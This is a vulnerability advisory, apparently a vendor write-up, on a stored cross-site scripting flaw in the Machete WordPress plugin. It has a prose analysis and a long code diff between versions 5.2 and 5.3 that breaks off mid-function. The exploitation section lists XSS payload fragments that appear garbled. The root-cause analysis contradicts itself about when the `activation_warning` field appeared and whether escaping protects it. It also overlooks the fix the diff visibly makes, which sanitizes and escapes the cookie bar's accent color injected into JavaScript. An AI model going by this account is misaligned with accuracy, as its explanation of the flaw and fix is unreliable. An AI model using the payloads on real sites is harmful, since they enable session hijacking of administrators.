Published : August 12, 2026

CVE-2026-65538: Machete <= 5.2 Authenticated (Author+) Stored Cross-Site Scripting PoC, Patch Analysis & Rule

Plugin machete
Severity Medium (CVSS 6.4)
CWE 79
Vulnerable Version 5.2
Patched Version 5.3
Disclosed July 22, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-65538:

Atomic Edge analysis of CVE-2026-65538 identifies a Stored Cross-Site Scripting (XSS) vulnerability in the Machete plugin for WordPress, affecting versions up to and including 5.2. The vulnerability arises from insufficient input sanitization and output escaping, allowing authenticated attackers with author-level access or above to inject arbitrary web scripts. These scripts execute whenever a user accesses the affected pages, posing a significant risk to site integrity and user data. The severity is rated 6.4 (Medium) on the CVSS scale.

Root Cause: The root cause lies in the mishandling of module metadata, specifically the `activation_warning` parameter introduced in the patch. The vulnerable code in `inc/about/templates/machete-module.php` outputs this parameter directly within a `data-warning-message` attribute of an HTML anchor tag: `data-warning-message=””`. While `esc_attr()` is used, it does not prevent the injection of HTML entities that decode to executable JavaScript within the attribute context. The patch also removes the `is_external` module flag and the separate ‘External Modules’ section, simplifying the module list rendering. The vulnerable code path is triggered when a module with an `activation_warning` is rendered on the plugin’s admin page (`inc/about/admin-content.php`). The `activation_warning` field is set in module initialization, as seen in `inc/class-machete-module.php` and `inc/powertools/i18n.php`, where the PowerTools module defines a warning message.

Exploitation: An authenticated attacker with author-level access must craft a payload and inject it into the `activation_warning` parameter for a module. While direct manipulation of this parameter by an author is not typical, the vulnerability could be exploited through any mechanism that allows setting module parameters. This includes scenarios where a lower-privileged user can save module settings or where a separate vulnerability allows parameter injection. The attacker would set `activation_warning` to a value like `”>alert(‘XSS’)` or `”>`. When an administrator or another user with access to the Machete settings page (specifically `admin.php?page=machete-powertools` or `admin.php?page=machete-about`) views the module list, the injected script executes within the `data-warning-message` attribute, which is read and displayed by the plugin’s JavaScript.

Patch Analysis: The patch introduces the `has_warning` and `activation_warning` parameters to the module system. The `inc/about/templates/machete-module.php` file now conditionally outputs the `data-warning-title`, `data-warning-message`, and `data-warning-icon-url` attributes only when `has_warning` is true. Crucially, the patch applies `esc_attr()` to the `activation_warning` value before output. While this is an improvement, it may not be sufficient to fully mitigate XSS if the warning message can contain user-controlled HTML. The patch also removes the `is_external` module flag and the ‘External Modules’ section, consolidating module rendering. The `class-machete-module.php` diff shows the addition of `is_active_default`, `has_warning`, and `activation_warning` to the `$params` array, with the PowerTools module setting `has_warning` to true. The patch also includes significant changes to the PowerTools module, adding new functions to purge post revisions, orphaned meta, and expired cron events.

Impact: Successful exploitation allows the attacker to execute arbitrary JavaScript in the context of an authenticated administrator’s browser session. This can lead to session hijacking, defacement of the WordPress admin dashboard, theft of sensitive information such as cookies and CSRF tokens, and potentially full administrative control if the attacker can leverage the XSS to perform admin actions. The attack requires author-level access, which is a lower barrier than administrator access, increasing the risk of compromise on multi-user WordPress sites.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/machete/inc/about/admin-content.php
+++ b/machete/inc/about/admin-content.php
@@ -48,31 +48,6 @@
 			if ( 'about' === $machete_slug ) {
 				continue;
 			}
-			if (
-				in_array( $machete_slug, array( 'about', 'powertools' ), true ) ||
-				$machete_args['is_external']
-			) {
-				continue;
-			}
-			include plugin_dir_path( __FILE__ ) . 'templates/machete-module.php';
-		}
-		?>
-		</div>
-
-		<h2><?php esc_html_e( 'External Modules', 'machete' ); ?></h2>
-
-		<div class="machete-module-list">
-		<?php
-		foreach ( $machete->modules as $machete_module ) {
-			$machete_args = $machete_module->params;
-			$machete_slug = $machete_args['slug'];
-
-			if ( 'about' === $machete_slug ) {
-				continue;
-			}
-			if ( ( 'powertools' !== $machete_slug ) && ( ! $machete_args['is_external'] ) ) {
-				continue;
-			}
 			include plugin_dir_path( __FILE__ ) . 'templates/machete-module.php';
 		}
 		?>
--- a/machete/inc/about/templates/machete-module.php
+++ b/machete/inc/about/templates/machete-module.php
@@ -15,7 +15,7 @@
 	$machete_args['banner'] = MACHETE_BASE_URL . 'inc/' . $machete_slug . '/banner.svg';
 }
 ?>
-<div class="machete-module-wrap"><div class="machete-module <?php echo esc_attr( $machete_slug . '-module' ); ?> module-is-<?php echo $machete_args['is_active'] ? 'active' : 'inactive'; ?>">
+<div class="machete-module-wrap"><div class="machete-module <?php echo esc_attr( $machete_slug . '-module' ); ?><?php echo ! empty( $machete_args['has_warning'] ) ? ' has-warning-module' : ''; ?> module-is-<?php echo $machete_args['is_active'] ? 'active' : 'inactive'; ?>">

 <?php if ( $machete_args['is_active'] && $machete_args['has_config'] ) { ?>
 	<a class="machete-module-image"
@@ -59,54 +59,8 @@
 			'machete_action_' . $machete_slug
 		);

-		if ( 'powertools' === $machete_slug ) {
-
-			$machete_powertools_path = 'machete-powertools/machete-powertools.php';
-
-			if ( $machete_args['is_active'] ) {
-
-				$machete_powertools_deactivation_url = wp_nonce_url(
-					add_query_arg(
-						array(
-							'action' => 'deactivate',
-							'plugin' => $machete_powertools_path,
-						),
-						admin_url( 'plugins.php' )
-					),
-					'deactivate-plugin_' . $machete_powertools_path
-				);
-				?>
-
-				<a href="<?php echo esc_url( $machete_powertools_deactivation_url ); ?>" class="button-secondary" data-status="1"><?php esc_html_e( 'Deactivate Plugin', 'machete' ); ?></a>
-
-				<a href="<?php echo esc_url( add_query_arg( 'page', 'machete-' . $machete_slug, admin_url( 'admin.php' ) ) ); ?>"
-				title="<?php echo esc_attr( __( 'Configure', 'machete' ) . ' ' . $machete_args['full_title'] ); ?>" class="button-secondary" data-status="0"><?php esc_html_e( 'Settings', 'machete' ); ?></a>
-
-				<?php
-			} elseif ( file_exists( WP_PLUGIN_DIR . '/' . $machete_powertools_path ) ) {
-
-				$machete_powertools_activation_url = wp_nonce_url(
-					add_query_arg(
-						array(
-							'action' => 'activate',
-							'plugin' => $machete_powertools_path,
-						),
-						admin_url( 'plugins.php' )
-					),
-					'activate-plugin_' . $machete_powertools_path
-				);
-				?>
-
-				<a href="<?php echo esc_url( $machete_powertools_activation_url ); ?>" class="button-primary" data-status="1"><?php esc_html_e( 'Activate Plugin', 'machete' ); ?></a>
-
-			<?php } else { ?>
-
-				<a href="https://machetewp.com/powertools/" class="button-primary" data-status="1"><?php esc_html_e( 'Download Machete PowerTools', 'machete' ); ?></a>
-
-			<?php } ?>
-
-
-		<?php } elseif ( $machete_args['is_active'] ) { ?>
+		if ( $machete_args['is_active'] ) {
+			?>

 			<?php if ( $machete_args['can_be_disabled'] ) { ?>
 			<a href="<?php echo esc_url( add_query_arg( 'machete-action', 'deactivate', $machete_action_url ) ); ?>" class="button-secondary" data-status="0"><?php esc_html_e( 'Deactivate', 'machete' ); ?></a>
@@ -119,7 +73,21 @@

 		<?php } else { ?>
 			<?php if ( $machete_args['can_be_enabled'] ) { ?>
-			<a href="<?php echo esc_url( add_query_arg( 'machete-action', 'activate', $machete_action_url ) ); ?>" class="button-secondary" data-status="1"><?php esc_html_e( 'Activate', 'machete' ); ?></a>
+				<?php
+				$machete_activate_url   = add_query_arg( 'machete-action', 'activate', $machete_action_url );
+				$machete_activate_class = 'button-secondary';
+				if ( ! empty( $machete_args['has_warning'] ) ) {
+					$machete_activate_class .= ' machete-module-activate-warning';
+				}
+				?>
+			<a href="<?php echo esc_url( $machete_activate_url ); ?>"
+				class="<?php echo esc_attr( $machete_activate_class ); ?>"
+				data-status="1"
+				<?php if ( ! empty( $machete_args['has_warning'] ) ) { ?>
+				data-warning-title="<?php echo esc_attr( wp_strip_all_tags( $machete_args['full_title'] ) ); ?>"
+				data-warning-message="<?php echo esc_attr( $machete_args['activation_warning'] ); ?>"
+				data-warning-icon-url="<?php echo esc_url( MACHETE_BASE_URL . 'inc/' . $machete_slug . '/icon.svg' ); ?>"
+				<?php } ?>><?php esc_html_e( 'Activate', 'machete' ); ?></a>
 			<?php } else { ?>
 				<span class="button-secondary button-disabled"><?php esc_html_e( 'Activate', 'machete' ); ?></span>
 			<?php } ?>
--- a/machete/inc/class-machete-module.php
+++ b/machete/inc/class-machete-module.php
@@ -24,16 +24,17 @@
 	 * @var array
 	 */
 	public $params = array(
-		'slug'            => '',
-		'title'           => '',
-		'full_title'      => '',
-		'description'     => '',
-		'is_external'     => false,
-		'is_active'       => true,
-		'has_config'      => true,
-		'can_be_disabled' => true,
-		'can_be_enabled'  => true,
-		'role'            => 'manage_options',
+		'slug'               => '',
+		'title'              => '',
+		'full_title'         => '',
+		'description'        => '',
+		'is_active'          => true,
+		'has_warning'        => false,
+		'activation_warning' => '',
+		'has_config'         => true,
+		'can_be_disabled'    => true,
+		'can_be_enabled'     => true,
+		'role'               => 'manage_options',
 	);
 	/**
 	 * Temporal container for the module's database-stored settings
@@ -70,7 +71,8 @@
 	 * @param array $params params array with the immutable module properties.
 	 */
 	protected function init( $params = array() ) {
-		$this->params = array_merge( $this->params, $params );
+		$this->params                      = array_merge( $this->params, $params );
+		$this->params['is_active_default'] = $this->params['is_active'];
 		if ( array_key_exists( 'path', $this->params ) ) {
 			$this->path = $this->params['path'];
 		} else {
--- a/machete/inc/class-machete.php
+++ b/machete/inc/class-machete.php
@@ -145,10 +145,10 @@
 			return false;
 		}

-		$disabled_modules = get_option( 'machete_disabled_modules', array() );
+		$enabled_modules = get_option( 'machete_enabled_modules', array() );

 		if ( 'deactivate' === $action ) {
-			if ( in_array( $module, $disabled_modules, true ) ) {
+			if ( ! $this->modules[ $module ]->params['is_active'] ) {
 				if ( ! $silent ) {
 					$this->notice( __( 'Nothing to do. The module was already disabled.', 'machete' ), 'notice' );
 				}
@@ -161,9 +161,10 @@
 				return false;
 			}

-			$disabled_modules[] = $module;
+			$enabled_modules = array_values( array_diff( $enabled_modules, array( $module ) ) );
+			update_option( 'machete_enabled_modules', $enabled_modules );

-			if ( update_option( 'machete_disabled_modules', $disabled_modules ) ) {
+			if ( ! in_array( $module, get_option( 'machete_enabled_modules', array() ), true ) ) {
 				$this->modules[ $module ]->params['is_active'] = false;
 				if ( ! $silent ) {
 					$this->notice(
@@ -191,16 +192,13 @@
 				}
 				return false;
 			}
-			if ( 'powertools' === $module ) {
-				if ( ! $silent ) {
-					$this->notice( __( 'Sorry, you can't enable that module', 'machete' ), 'warning' );
-				}
-				return false;
-			}

-			$disabled_modules = array_diff( $disabled_modules, array( $module ) );
+			if ( ! in_array( $module, $enabled_modules, true ) ) {
+				$enabled_modules[] = $module;
+			}
+			update_option( 'machete_enabled_modules', $enabled_modules );

-			if ( update_option( 'machete_disabled_modules', $disabled_modules ) ) {
+			if ( in_array( $module, get_option( 'machete_enabled_modules', array() ), true ) ) {
 				$this->modules[ $module ]->params['is_active'] = true;
 				if ( ! $silent ) {
 					$this->notice(
--- a/machete/inc/cookies/class-machete-cookies-module.php
+++ b/machete/inc/cookies/class-machete-cookies-module.php
@@ -114,12 +114,13 @@
 		$html_replaces['{{theme_stylesheet}}'] = $this->themes[ $options['bar_theme'] ]['stylesheet'];

 		// Cookie bar accent color.
-		if ( ! empty( $options['accent_color'] ) ) {
-
-			$settings['accent_color'] = $options['accent_color'];
-			if ( $options['accent_color'] !== $this->default_settings['accent_color'] ) {
-				$this->cookies_bar_innerhtml .= 'var machete_cookies_accent_color = '' . $options['accent_color'] . '';' . "n";
-			}
+		$accent_color = sanitize_hex_color( $options['accent_color'] ?? '' );
+		if ( empty( $accent_color ) ) {
+			$accent_color = $this->default_settings['accent_color'];
+		}
+		$settings['accent_color'] = $accent_color;
+		if ( $accent_color !== $this->default_settings['accent_color'] ) {
+			$this->cookies_bar_innerhtml .= 'var machete_cookies_accent_color = '' . esc_js( $accent_color ) . '';' . "n";
 		}

 		// Cookie bar status.
--- a/machete/inc/powertools/admin-content.php
+++ b/machete/inc/powertools/admin-content.php
@@ -11,51 +11,141 @@
 }

 $machete_allowed_description_tags = array(
-	'br'   => array(),
-	'span' => array(
+	'a'      => array(
+		'href'   => array(),
+		'target' => array(),
+		'rel'    => array(),
+	),
+	'br'     => array(),
+	'strong' => array(),
+	'span'   => array(
 		'style' => array(),
 	),
 );

+$machete_expired_transients_count = $this->count_expired_transients();
+$machete_post_revisions_count     = $this->count_post_revisions();
+$machete_orphaned_postmeta_count  = $this->count_orphaned_postmeta();
+$machete_expired_cron_count       = $this->count_expired_cron_events();
+
 ?>
 <div class="wrap machete-wrap machete-section-wrap">
 	<div class="wp-header-end"></div><!-- admin notices go after .wp-header-end or .wrap>h2:first-child -->
 	<h1><?php $this->icon(); ?> <?php esc_html_e( 'Machete PowerTools', 'machete' ); ?></h1>

-	<p class="tab-description"><?php esc_html_e( 'Machete PowerTools is an upgrade module targeted at WordPress developers and power users. PowerTools adds new features and improves some of the Machete modules you already know and love.', 'machete' ); ?></p>
+	<p class="tab-description"><?php esc_html_e( 'PowerTools bundles advanced utilities and maintenance actions for WordPress developers and power users. As with every Machete tool, do not enable any option you do not understand.', 'machete' ); ?></p>
 	<?php $machete->admin_tabs( 'machete-powertools' ); ?>
 	<p class="tab-performance"><span><strong><i class="dashicons dashicons-clock"></i> <?php esc_html_e( 'Performance impact:', 'machete' ); ?></strong> <?php esc_html_e( 'This section stores all its settings in a single autoloaded configuration variable.', 'machete' ); ?></span></p>


-<form id="mache-powertools-actions" action="" method="POST">
+<form id="machete-powertools-actions" action="" method="POST">

 	<?php wp_nonce_field( 'machete_powertools_action' ); ?>

-	<table class="form-table">
+	<table class="form-table machete-powertools-actions-table">
 	<tbody><tr>

-	<th scope="row"><label for="tracking_id"><?php esc_html_e( 'Delete Expired Transients', 'machete' ); ?></label></th>
-	<td><input type="submit" name="machete-powertools-action" value="purge_transients" class="button button-primary">
-	<p class="description" id="tracking_id_description" style="display: none;"><?php esc_html_e( 'Format:', 'machete' ); ?></p></td>
+	<th scope="row"><button type="submit" name="machete-powertools-action" id="purge_transients" value="purge_transients" class="button button-primary"><?php esc_html_e( 'Purge transients', 'machete' ); ?></button></th>
+	<td><label for="purge_transients"><?php
+		echo wp_kses(
+			'<strong>' . sprintf(
+				/* translators: %1$s is the number of expired transients */
+				_n(
+					'Remove %1$s expired transient from wp_options.',
+					'Remove %1$s expired transients from wp_options.',
+					$machete_expired_transients_count,
+					'machete'
+				),
+				number_format_i18n( $machete_expired_transients_count )
+			) . '</strong><br>' . __( 'These are temporary cache entries that WordPress and plugins should have deleted automatically.', 'machete' ),
+			$machete_allowed_description_tags
+		);
+	?></label></td>
+	</tr>
+	<tr>
+	<th scope="row"><button type="submit" name="machete-powertools-action" id="purge_post_revisions" value="purge_post_revisions" class="button button-primary"><?php esc_html_e( 'Purge post revisions', 'machete' ); ?></button></th>
+	<td><label for="purge_post_revisions"><?php
+		echo wp_kses(
+			'<strong>' . sprintf(
+				/* translators: %1$s is the number of post revisions */
+				_n(
+					'Remove %1$s post revision from the database.',
+					'Remove %1$s post revisions from the database.',
+					$machete_post_revisions_count,
+					'machete'
+				),
+				number_format_i18n( $machete_post_revisions_count )
+			) . '</strong><br>' . __( 'Revisions are automatic snapshots saved each time a post or page is edited.', 'machete' ),
+			$machete_allowed_description_tags
+		);
+	?></label></td>
+	</tr>
+	<tr>
+	<th scope="row"><button type="submit" name="machete-powertools-action" id="purge_orphaned_meta" value="purge_orphaned_meta" class="button button-primary"><?php esc_html_e( 'Purge orphaned meta', 'machete' ); ?></button></th>
+	<td><label for="purge_orphaned_meta"><?php
+		echo wp_kses(
+			'<strong>' . sprintf(
+				/* translators: %1$s is the number of orphaned postmeta rows */
+				_n(
+					'Remove %1$s orphaned postmeta row.',
+					'Remove %1$s orphaned postmeta rows.',
+					$machete_orphaned_postmeta_count,
+					'machete'
+				),
+				number_format_i18n( $machete_orphaned_postmeta_count )
+			) . '</strong><br>' . __( 'These custom field records reference a post ID that no longer exists.', 'machete' ),
+			$machete_allowed_description_tags
+		);
+	?></label></td>
+	</tr>
+	<tr>
+	<th scope="row"><button type="submit" name="machete-powertools-action" id="purge_expired_cron" value="purge_expired_cron" class="button button-primary"><?php esc_html_e( 'Purge expired Cron', 'machete' ); ?></button></th>
+	<td><label for="purge_expired_cron"><?php
+		echo wp_kses(
+			'<strong>' . sprintf(
+				/* translators: %1$s is the number of expired cron events */
+				_n(
+					'Remove %1$s expired cron event from wp_options.',
+					'Remove %1$s expired cron events from wp_options.',
+					$machete_expired_cron_count,
+					'machete'
+				),
+				number_format_i18n( $machete_expired_cron_count )
+			) . '</strong><br>' . __( 'These scheduled tasks were missed, usually because WP-Cron did not run on time.', 'machete' ),
+			$machete_allowed_description_tags
+		);
+	?></label></td>
 	</tr>
 	<tr>
-	<th scope="row"><label for="tracking_id"><?php esc_html_e( 'Delete Permalink Cache', 'machete' ); ?></label></th>
-	<td><input type="submit" name="machete-powertools-action" value="flush_rewrites" class="button button-primary">
-	<p class="description" id="tracking_id_description" style="display: none;"><?php esc_html_e( 'Format:', 'machete' ); ?></p></td>
+	<th scope="row"><button type="submit" name="machete-powertools-action" id="flush_rewrites" value="flush_rewrites" class="button button-primary">flush_rewrite_rules()</button></th>
+	<td><label for="flush_rewrites"><?php
+		echo wp_kses(
+			'<strong>' . __( 'Regenerate WordPress permalink rewrite rules.', 'machete' ) . '</strong><br>' . __( 'Use this after changing permalink settings, registering custom post types, or when valid URLs return 404 errors.', 'machete' ),
+			$machete_allowed_description_tags
+		);
+	?></label></td>
 	</tr>

 	<?php if ( function_exists( 'opcache_reset' ) ) { ?>
 	<tr>
-	<th scope="row"><label for="tracking_id"><?php esc_html_e( 'Delete Opcache contents', 'machete' ); ?></label></th>
-	<td><input type="submit" name="machete-powertools-action" value="flush_opcache" class="button button-primary">
-	<p class="description" id="tracking_id_description" style="display: none;"><?php esc_html_e( 'Format:', 'machete' ); ?></p></td>
+	<th scope="row"><button type="submit" name="machete-powertools-action" id="flush_opcache" value="flush_opcache" class="button button-primary">opcache_reset()</button></th>
+	<td><label for="flush_opcache"><?php
+		echo wp_kses(
+			'<strong>' . __( 'Clear the PHP OPcache bytecode cache.', 'machete' ) . '</strong><br>' . __( 'Use this after deploying PHP changes when the server keeps serving an older version of your files.', 'machete' ),
+			$machete_allowed_description_tags
+		);
+	?></label></td>
 	</tr>
 	<?php } ?>

 	<tr>
-	<th scope="row"><label for="tracking_id"><?php esc_html_e( 'Delete WordPress object cache contents', 'machete' ); ?></label></th>
-	<td><input type="submit" name="machete-powertools-action" value="flush_wpcache" class="button button-primary">
-	<p class="description" id="tracking_id_description" style="display: none;"><?php esc_html_e( 'Format:', 'machete' ); ?></p></td>
+	<th scope="row"><button type="submit" name="machete-powertools-action" id="flush_wpcache" value="flush_wpcache" class="button button-primary">wp_cache_flush()</button></th>
+	<td><label for="flush_wpcache"><?php
+		echo wp_kses(
+			'<strong>' . __( 'Flush the WordPress object cache.', 'machete' ) . '</strong><br>' . __( 'Use this when a persistent cache (Redis, Memcached, etc.) keeps serving stale data after updates.', 'machete' ),
+			$machete_allowed_description_tags
+		);
+	?></label></td>
 	</tr>

 	</tbody></table>
@@ -74,8 +164,8 @@
 	<table class="wp-list-table widefat fixed striped posts machete-options-table machete-powertools-table">
 	<thead>
 		<tr>
-			<td class="manage-column column-cb check-column " ><input type="checkbox" name="check_all" id="machete_cleanup_checkall_fld" <?php checked( true, $this->all_powertools_checked, true ); ?>></td>
-			<th class="column-title manage-column column-primary"><?php esc_html_e( 'Remove', 'machete' ); ?></th>
+			<td class="manage-column column-cb check-column " ><input type="checkbox" name="check_all" id="machete_powertools_checkall_fld" <?php checked( true, $this->all_powertools_checked, true ); ?>></td>
+			<th class="column-title manage-column column-primary"><?php esc_html_e( 'Enable', 'machete' ); ?></th>
 			<th><?php esc_html_e( 'Explanation', 'machete' ); ?></th>
 		</tr>
 	</thead>
@@ -104,24 +194,13 @@

 ( function( $ ) {
 	$('#machete-powertools-options .machete-powertools-table :checkbox').change(function() {
-		// this will contain a reference to the checkbox
-		console.log(this.id);
 		var checkBoxes = $("#machete-powertools-options .machete-powertools-table input[name=optionEnabled\[\]]");

-		if ( this.id == 'machete_powertools_checkall_fld' ){
-			if (this.checked) {
-				checkBoxes.prop( "checked" , true );
-			} else {
-				checkBoxes.prop( "checked", false );
-				// the checkbox is now no longer checked
-			}
+		if ( this.id === 'machete_powertools_checkall_fld' ) {
+			checkBoxes.prop( 'checked', this.checked );
 		} else {
 			var checkBoxes_checked = $("#machete-powertools-options .machete-powertools-table input[name=optionEnabled\[\]]:checked");
-			if(checkBoxes_checked.length == checkBoxes.length){
-				$('#machete_powertools_checkall_fld').prop("checked", true);
-			} else {
-				$('#machete_powertools_checkall_fld').prop("checked", false);
-			}
+			$('#machete_powertools_checkall_fld').prop( 'checked', checkBoxes_checked.length === checkBoxes.length );
 		}
 	});
 })( jQuery );
--- a/machete/inc/powertools/class-machete-powertools-module.php
+++ b/machete/inc/powertools/class-machete-powertools-module.php
@@ -25,7 +25,8 @@
 			array(
 				'slug'            => 'powertools',
 				'is_active'       => false,
-				'can_be_disabled' => false,
+				'has_warning'     => true,
+				'can_be_disabled' => true,
 			)
 		);

@@ -37,7 +38,9 @@
 			'defer_all_scripts'   => array(),
 			'disable_feeds'       => array(),
 			'enable_svg'          => array(),
-			'disable_search'      => array(),
+			'disable_search'              => array(),
+			'show_admin_ids'              => array(),
+			'disable_admin_bar_frontend'  => array(),
 		);
 	}
 	/**
@@ -73,6 +76,15 @@
 				case 'purge_transients':
 					$this->purge_transients();
 					break;
+				case 'purge_post_revisions':
+					$this->purge_post_revisions();
+					break;
+				case 'purge_orphaned_meta':
+					$this->purge_orphaned_meta();
+					break;
+				case 'purge_expired_cron':
+					$this->purge_expired_cron();
+					break;
 				case 'flush_rewrites':
 					$this->flush_rewrite_rules();
 					break;
@@ -93,8 +105,39 @@
 			require $this->path . 'powertools.php';
 		}

+		add_action( 'admin_enqueue_scripts', array( $this, 'enqueue_admin_styles' ) );
+
 		add_action( 'admin_menu', array( $this, 'register_sub_menu' ) );
 	}
+
+	/**
+	 * Enqueues PowerTools admin styles on the module page and when list-table options are active.
+	 *
+	 * @param string $hook_suffix Current admin page hook suffix.
+	 */
+	public function enqueue_admin_styles( $hook_suffix ) {
+		$is_powertools_page = ( 'machete_page_machete-powertools' === $hook_suffix );
+
+		if ( ! $is_powertools_page && ! $this->needs_admin_styles() ) {
+			return;
+		}
+
+		wp_enqueue_style(
+			'machete-powertools-admin',
+			MACHETE_BASE_URL . 'inc/powertools/css/admin.css',
+			array(),
+			MACHETE_VERSION
+		);
+	}
+
+	/**
+	 * Whether any active option needs the PowerTools admin stylesheet.
+	 *
+	 * @return bool
+	 */
+	private function needs_admin_styles() {
+		return in_array( 'show_admin_ids', $this->settings, true );
+	}
 	/**
 	 * Saves options to database
 	 *
@@ -164,7 +207,9 @@
 	private function purge_transients() {
 		global $wpdb;

-		$rows = $wpdb->query(
+		$count = $this->count_expired_transients();
+
+		$wpdb->query(
 			$wpdb->prepare(
 				"DELETE a, b FROM $wpdb->options a, $wpdb->options b
 				WHERE a.option_name LIKE %s
@@ -175,9 +220,9 @@
 				$wpdb->esc_like( '_transient_timeout_' ) . '%',
 				time()
 			)
-		); // phpcs: cache ok, db call ok.
+		); // phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.DirectDatabaseQuery.NoCaching

-		$rows2 = $wpdb->query(
+		$wpdb->query(
 			$wpdb->prepare(
 				"DELETE a, b FROM $wpdb->options a, $wpdb->options b
 				WHERE a.option_name LIKE %s
@@ -188,28 +233,181 @@
 				$wpdb->esc_like( '_site_transient_timeout_' ) . '%',
 				time()
 			)
-		); // phpcs: cache ok, db call ok.
-		// translators: $d number of deleted transsients.
-		$this->notice( sprintf( __( '%d Transients Rows Cleared', 'machete' ), $rows + $rows2 ), 'success' );
+		); // phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.DirectDatabaseQuery.NoCaching
+
+		// translators: %s: number of deleted expired transients.
+		$this->notice( sprintf( _n( '%s expired transient cleared.', '%s expired transients cleared.', $count, 'machete' ), number_format_i18n( $count ) ), 'success' );
 		return true;
 	}

 	/**
-	 * Deletes all unused post revisions.
+	 * Returns the number of expired transients.
+	 *
+	 * @return int
+	 */
+	public function count_expired_transients() {
+		global $wpdb;
+
+		$time = time();
+
+		$count = (int) $wpdb->get_var(
+			$wpdb->prepare(
+				"SELECT COUNT(*) FROM $wpdb->options a, $wpdb->options b
+				WHERE a.option_name LIKE %s
+				AND a.option_name NOT LIKE %s
+				AND b.option_name = CONCAT( '_transient_timeout_', SUBSTRING( a.option_name, 12 ) )
+				AND b.option_value < %d",
+				$wpdb->esc_like( '_transient_' ) . '%',
+				$wpdb->esc_like( '_transient_timeout_' ) . '%',
+				$time
+			)
+		); // phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.DirectDatabaseQuery.NoCaching
+
+		$count += (int) $wpdb->get_var(
+			$wpdb->prepare(
+				"SELECT COUNT(*) FROM $wpdb->options a, $wpdb->options b
+				WHERE a.option_name LIKE %s
+				AND a.option_name NOT LIKE %s
+				AND b.option_name = CONCAT( '_site_transient_timeout_', SUBSTRING( a.option_name, 17 ) )
+				AND b.option_value < %d",
+				$wpdb->esc_like( '_site_transient_' ) . '%',
+				$wpdb->esc_like( '_site_transient_timeout_' ) . '%',
+				$time
+			)
+		); // phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.DirectDatabaseQuery.NoCaching
+
+		return $count;
+	}
+
+	/**
+	 * Returns the number of post revisions.
+	 *
+	 * @return int
+	 */
+	public function count_post_revisions() {
+		global $wpdb;
+
+		return (int) $wpdb->get_var(
+			"SELECT COUNT(*) FROM $wpdb->posts WHERE post_type = 'revision'"
+		); // phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.DirectDatabaseQuery.NoCaching
+	}
+
+	/**
+	 * Returns the number of orphaned postmeta rows.
+	 *
+	 * @return int
+	 */
+	public function count_orphaned_postmeta() {
+		global $wpdb;
+
+		return (int) $wpdb->get_var(
+			"SELECT COUNT(*) FROM $wpdb->postmeta pm
+			LEFT JOIN $wpdb->posts p ON p.ID = pm.post_id
+			WHERE p.ID IS NULL"
+		); // phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.DirectDatabaseQuery.NoCaching
+	}
+
+	/**
+	 * Returns the number of expired cron events.
+	 *
+	 * @return int
+	 */
+	public function count_expired_cron_events() {
+		if ( ! function_exists( '_get_cron_array' ) ) {
+			require_once ABSPATH . 'wp-includes/cron.php';
+		}
+
+		$cron  = _get_cron_array();
+		$count = 0;
+		$time  = time();
+
+		if ( empty( $cron ) ) {
+			return 0;
+		}
+
+		foreach ( $cron as $timestamp => $hooks ) {
+			if ( (int) $timestamp >= $time ) {
+				continue;
+			}
+			foreach ( $hooks as $events ) {
+				$count += count( $events );
+			}
+		}
+
+		return $count;
+	}
+
+	/**
+	 * Deletes all post revisions and their related meta/term rows.
 	 */
 	private function purge_post_revisions() {
 		global $wpdb;

+		$wpdb->query(
+			"DELETE pm FROM $wpdb->postmeta pm
+			INNER JOIN $wpdb->posts p ON pm.post_id = p.ID
+			WHERE p.post_type = 'revision'"
+		); // phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.DirectDatabaseQuery.NoCaching
+
+		$wpdb->query(
+			"DELETE tr FROM $wpdb->term_relationships tr
+			INNER JOIN $wpdb->posts p ON tr.object_id = p.ID
+			WHERE p.post_type = 'revision'"
+		); // phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.DirectDatabaseQuery.NoCaching
+
+		$rows = $wpdb->query(
+			"DELETE FROM $wpdb->posts WHERE post_type = 'revision'"
+		); // phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.DirectDatabaseQuery.NoCaching
+
+		// translators: %s: number of deleted post revisions.
+		$this->notice( sprintf( _n( 'Success! %s post revision deleted.', 'Success! %s post revisions deleted.', $rows, 'machete' ), number_format_i18n( $rows ) ), 'success' );
+		return true;
+	}
+
+	/**
+	 * Deletes postmeta rows whose post no longer exists.
+	 */
+	private function purge_orphaned_meta() {
+		global $wpdb;
+
 		$rows = $wpdb->query(
-			"DELETE a,b,c
-			FROM wp_posts a
-			WHERE a.post_type = 'revision'
-			LEFT JOIN wp_term_relationships b
-			ON (a.ID = b.object_id)
-			LEFT JOIN wp_postmeta c ON (a.ID = c.post_id);"
-		);  // phpcs: cache ok, db call ok.
-		// translators: $d number of deleted post revisions.
-		$this->notice( sprintf( _n( 'Success! %s Post revision deleted.', 'Success! %s Post revisions deleted.', $rows, 'machete' ), $rows ), 'success' );
+			"DELETE pm FROM $wpdb->postmeta pm
+			LEFT JOIN $wpdb->posts p ON p.ID = pm.post_id
+			WHERE p.ID IS NULL"
+		); // phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.DirectDatabaseQuery.NoCaching
+
+		// translators: %s: number of deleted postmeta rows.
+		$this->notice( sprintf( _n( '%s orphaned postmeta row deleted.', '%s orphaned postmeta rows deleted.', $rows, 'machete' ), number_format_i18n( $rows ) ), 'success' );
+		return true;
+	}
+
+	/**
+	 * Removes cron events scheduled in the past.
+	 */
+	private function purge_expired_cron() {
+		if ( ! function_exists( '_get_cron_array' ) ) {
+			require_once ABSPATH . 'wp-includes/cron.php';
+		}
+
+		$cron    = _get_cron_array();
+		$removed = 0;
+		$time    = time();
+
+		if ( ! empty( $cron ) ) {
+			foreach ( $cron as $timestamp => $hooks ) {
+				if ( (int) $timestamp >= $time ) {
+					continue;
+				}
+				foreach ( $hooks as $events ) {
+					$removed += count( $events );
+				}
+				unset( $cron[ $timestamp ] );
+			}
+			_set_cron_array( $cron );
+		}
